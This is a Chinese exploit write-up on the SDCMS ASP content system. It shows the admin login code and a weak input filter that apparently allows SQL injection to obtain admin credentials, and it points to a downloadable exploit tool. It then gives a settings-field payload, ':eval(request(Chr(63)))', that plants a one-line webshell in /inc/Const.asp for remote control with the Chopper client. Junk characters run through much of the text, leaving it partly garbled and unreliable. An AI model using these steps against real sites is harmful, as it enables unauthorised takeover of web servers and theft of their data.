作者:T00LS 鬼哥! P, r7 F$ Y8 N: _* d
漏洞文件:后台目录/index.asp
5 W: d/ y ` \; [7 t5 c: ^ M2 v1 R7 d. U" h! v+ ^% f
Sub Check3 k) [8 O4 O1 Z
Dim username,password,code,getcode,Rs: o. m# g8 }8 @$ U$ n
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
7 r6 |3 c9 w/ K username=FilterText(Trim(Request.Form("username")),1)3 @2 ^& }- Q* G5 [ X/ r( O( l4 |
password=FilterText(Trim(Request.Form("password")),1), }* L3 E- p6 [+ O
code=Trim(Request.Form("yzm"))8 m$ p9 q& g3 }' K" G- k t/ I9 O
getcode=Session("SDCMSCode")
0 c- u! K. }/ G% k, } IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died2 o8 {+ G* u" _! g- I1 t
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied! F$ E F. F! z; N
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
) e, z4 V0 [8 { IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
% D# X2 \; Z; Q1 v1 b% y IF username="" or password="" Then- d1 u: `: ]# ?3 s$ b, n- @
Echo "用户名或密码不能为空" ied- H, n1 ^! F' y
Else
0 |- n$ ^6 F! O: J Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
# U9 j! u/ P' b, Y! ~! p+ O IF Rs.Eof Then$ g: D6 g7 Q) |. ?- [" D$ V. Z
AddLog username,GetIp,"登录失败",19 S2 H- e1 I) J
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"$ y- ^& T+ x4 f6 n
Else; u, C+ }6 f2 w* m4 L: a' n6 u
Add_Cookies "sdcms_id",Rs(0)
, h3 ~2 U: ~, X# [+ w2 f Add_Cookies "sdcms_name",username
; P2 W9 R+ R9 n" S Add_Cookies "sdcms_pwd",Rs(2)) Q2 Z5 |' i; S# E
Add_Cookies "sdcms_admin",Rs(3)( h/ g* a' s3 I: X4 ^
Add_Cookies "sdcms_alllever",Rs(4)) M* _* d N( u4 Y- Q. Q
Add_Cookies "sdcms_infolever",Rs(5)2 y. Z8 l5 W6 r! [
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
6 ^. ~( v7 l& ~2 { AddLog username,GetIp,"登录成功",1
0 }6 m8 g: k; _; m. I4 j! D4 X& N '自动删除30天前的Log记录: f( |+ o2 J: T4 j- u& f
IF Sdcms_DataType Then, w( m; B: a `' o) o6 ?
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30") \0 Y+ x) Y0 _" D- D/ y9 V
Else
9 k' g( V+ T9 d$ m0 P Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
6 _, [: i7 X0 L) f' |+ ?# z End IF
8 ~2 \2 N+ V; ^1 D8 S+ | Go("sdcms_index.asp")* H* s/ r: I8 g) Y& V6 ^* l
End IF6 O7 c/ o& j8 p1 S' o/ T
Rs.Close0 A G: @2 Q$ g
Set Rs=Nothing) Q0 N Q1 \" O6 M1 A6 P9 x0 q
End IF
( c( d; F, @2 Z* nEnd Sub! o" f j0 K& U& e6 ?# C
! g& ^; A" } V2 V’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码 o' S- I y$ Q3 H* m
' o L) Y& Z) m& vFunction FilterText(ByVal t0,ByVal t1)
8 V- g" i3 v# N3 i3 ~ IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function2 N# [( \' o1 {. a# h% o3 I2 o
t0=Trim(t0)
2 J! R$ l. n- q( U* e Select Case t1
- A! M& E* T8 {; \ Case "1"
0 @- ?2 F* S# X# X& } t0=Replace(t0,Chr(32),"")7 ?. L+ j7 O y, v
t0=Replace(t0,Chr(13),"")
t5 s( ~& T) X: F" y2 Q$ {* t t0=Replace(t0,Chr(10)&Chr(10),"")
/ v" q2 i' T6 q3 O) {( u t0=Replace(t0,Chr(10),"")
: @0 Y$ O4 p* Y: M Case "2"
$ q5 J9 A9 O5 ^; x; q/ ~ ^; C4 Z+ I t0=Replace(t0,Chr(8),"")'回格) B( v2 f7 o6 Z& {6 u
t0=Replace(t0,Chr(9),"")'tab(水平制表符)+ P) z: ^" {- o4 ?2 e* w
t0=Replace(t0,Chr(10),"")'换行
7 T( _2 h7 Z! C: D9 o t0=Replace(t0,Chr(11),"")'tab(垂直制表符)3 q* d+ R: [' H' T8 Q6 v! O F
t0=Replace(t0,Chr(12),"")'换页
& b8 S. N8 d; @2 _! }, W( N t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合# ~6 _) D- _4 u Y K) }
t0=Replace(t0,Chr(22),"")+ R( b9 M) I) H" }1 ~) f
t0=Replace(t0,Chr(32),"")'空格 SPACE
8 H) ]+ K$ q% U4 s# `+ t6 N t0=Replace(t0,Chr(33),"")'!
) g' w, s- \* U/ T4 W t0=Replace(t0,Chr(34),"")'"- l, j6 |' ^5 m8 v! z
t0=Replace(t0,Chr(35),"")'#' l/ V7 I. b- O/ w
t0=Replace(t0,Chr(36),"")'$
- H9 m* s7 ]; u" k7 b* n( t# }8 Z t0=Replace(t0,Chr(37),"")'%0 l# r0 T( z5 B* p( K' Y( E
t0=Replace(t0,Chr(38),"")'&8 c8 F1 p0 {8 Z1 f1 ?3 ^
t0=Replace(t0,Chr(39),"")''
$ c, a( G6 H/ K& Z t0=Replace(t0,Chr(40),"")'(
& q9 i a) B. Q$ {) } t0=Replace(t0,Chr(41),"")')
$ Q3 ^; Q0 `, B D' t% o t0=Replace(t0,Chr(42),"")'*) {, M" O: M: ~
t0=Replace(t0,Chr(43),"")'+- S- x7 }' C8 D5 M" U. M
t0=Replace(t0,Chr(44),"")',2 Y; O- ~8 z) ]! s4 a
t0=Replace(t0,Chr(45),"")'-* |& _2 i6 ~5 i# b3 D' o" L! F
t0=Replace(t0,Chr(46),"")'.- D+ ~/ U6 B- Y
t0=Replace(t0,Chr(47),"")'/
1 i9 W$ Z" H5 J# E* |- G! j t0=Replace(t0,Chr(58),"")':
" s% b6 X% v( K/ d9 n9 |/ O6 M$ o t0=Replace(t0,Chr(59),"")';
. Q4 |& C1 r0 X* M) F t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
) h5 K+ M+ V7 j; E, _ t0=Replace(t0,Chr(63),"")'?
0 \1 A8 R3 F2 ?0 L7 B: r5 | t0=Replace(t0,Chr(64),"")'@6 A8 C0 M, G$ o; t: n' N m: A- t4 Y% d
t0=Replace(t0,Chr(91),"")'\
8 W( n: g+ r- K$ ^ t0=Replace(t0,Chr(92),"")'\# m% C& b- j5 v2 n
t0=Replace(t0,Chr(93),"")']4 m1 R5 J$ ?3 Q
t0=Replace(t0,Chr(94),"")'^3 c) T& y9 J* Z8 Z1 O6 }" R
t0=Replace(t0,Chr(95),"")'_
, m6 e8 W. G% R, |( D1 t t0=Replace(t0,Chr(96),"")'`, W8 L& J S1 h4 a$ R1 Q
t0=Replace(t0,Chr(123),"")'{
( J. S U: |5 n' Z t0=Replace(t0,Chr(124),"")'|6 }7 X# u1 ]4 y( A1 p# c
t0=Replace(t0,Chr(125),"")'}6 f% W- _( D1 T$ _# v, p' d1 ^
t0=Replace(t0,Chr(126),"")'~
" g9 L5 M& }3 P' J/ E* a Case Else
7 J0 P/ ~" P% L- k5 l. g/ D/ ]. v t0=Replace(t0, "&", "&")
. O% S- T w$ ~7 H Z( D8 x t0=Replace(t0, "'", "'")
) P2 h9 _% E: F) g' Q, u t0=Replace(t0, """", """)
: [2 M& L3 @& u5 o6 G t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
3 c+ w# `" j4 _ D% f5 w+ l End Select1 }9 V/ o2 h6 ^, g, @3 l' p( S2 o( G
IF Instr(Lcase(t0),"expression")>0 Then
% v: g. @) z Y0 y t0=Replace(t0,"expression","e­xpression", 1, -1, 0) I( {0 g2 w& ]) ?! r
End If
, m5 f! c, H' I1 G FilterText=t0
- ^% @' R! ^, t% N9 \End Function
0 I4 L/ j1 E2 X% Y7 B$ {1 b8 g1 S% @$ S0 g9 q8 a
看到没。直接参数是1 只过滤5 |1 _. r6 _+ W. [7 W6 X4 H
t0=Replace(t0,Chr(32)," ")
$ U t/ `" o+ Q9 o+ W/ \6 o, f6 \ t0=Replace(t0,Chr(13),"")
, ^. L$ y" _( N6 t, ` t0=Replace(t0,Chr(10)&Chr(10),"/ G z, T' h6 I9 b" [! E3 l! K
")
' i1 H: Q/ [3 \* Q2 J8 Z t0=Replace(t0,Chr(10),"1 N+ F2 c2 E! y
")
D& g) s ~5 f8 S% \5 ^- a漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
Z. M J' T9 o) ^% |4 `- |EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
$ j( I& [' H, B
" G! D8 k% X4 [0 b/ p* b, \测试:4 W6 P0 J4 f& m( f. n
: x1 i; ]/ ]" R/ \1 U7 T, b7 M
2 q/ k& K3 @' K, B; c
现在输入工具上验证码,然后点OK
( N& q1 O1 b; n5 I% ?& v8 H4 u) |5 r9 m9 ~! g
* a m& }4 I3 b' B* P3 U5 v
看到我们直接进入后台管理界面了,呵呵!
) O/ Z* ~6 B! c' ?2 J" _% x+ w+ j7 O- } u' w
4 t) `- h; N9 X% t
) ]% M. `! H8 t7 q# \这样直接进入后台了。。。。- Y/ Z ?8 l" `
2 G, j8 _' ?2 F+ E' u
4 }" V% f2 X! V) V% X" H3 v
1 r. q0 X6 s+ Y6 H- Y2 L: CSDCMS提权:
9 X, L" B( x! t3 |# \# f3 z1 i4 B- k | z% N
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?2 N' N8 k; ^+ S+ h
m- _6 ^9 t' z* [1 Q$ c
. I5 a3 i+ e# y% V) p* {
# T" S' D: H+ n) q! Q2 m
OK,现在用菜刀连接下!0 [5 V% n% q# m' V0 o- K
7 a, j2 b. `4 T; j+ l
8 y% t6 Z2 u! Q% z4 \
; i7 F) }0 @+ w, c! r( @% d9 s! t
, V2 U( E( c( Q7 V
- ]6 e1 U. x/ D1 [ |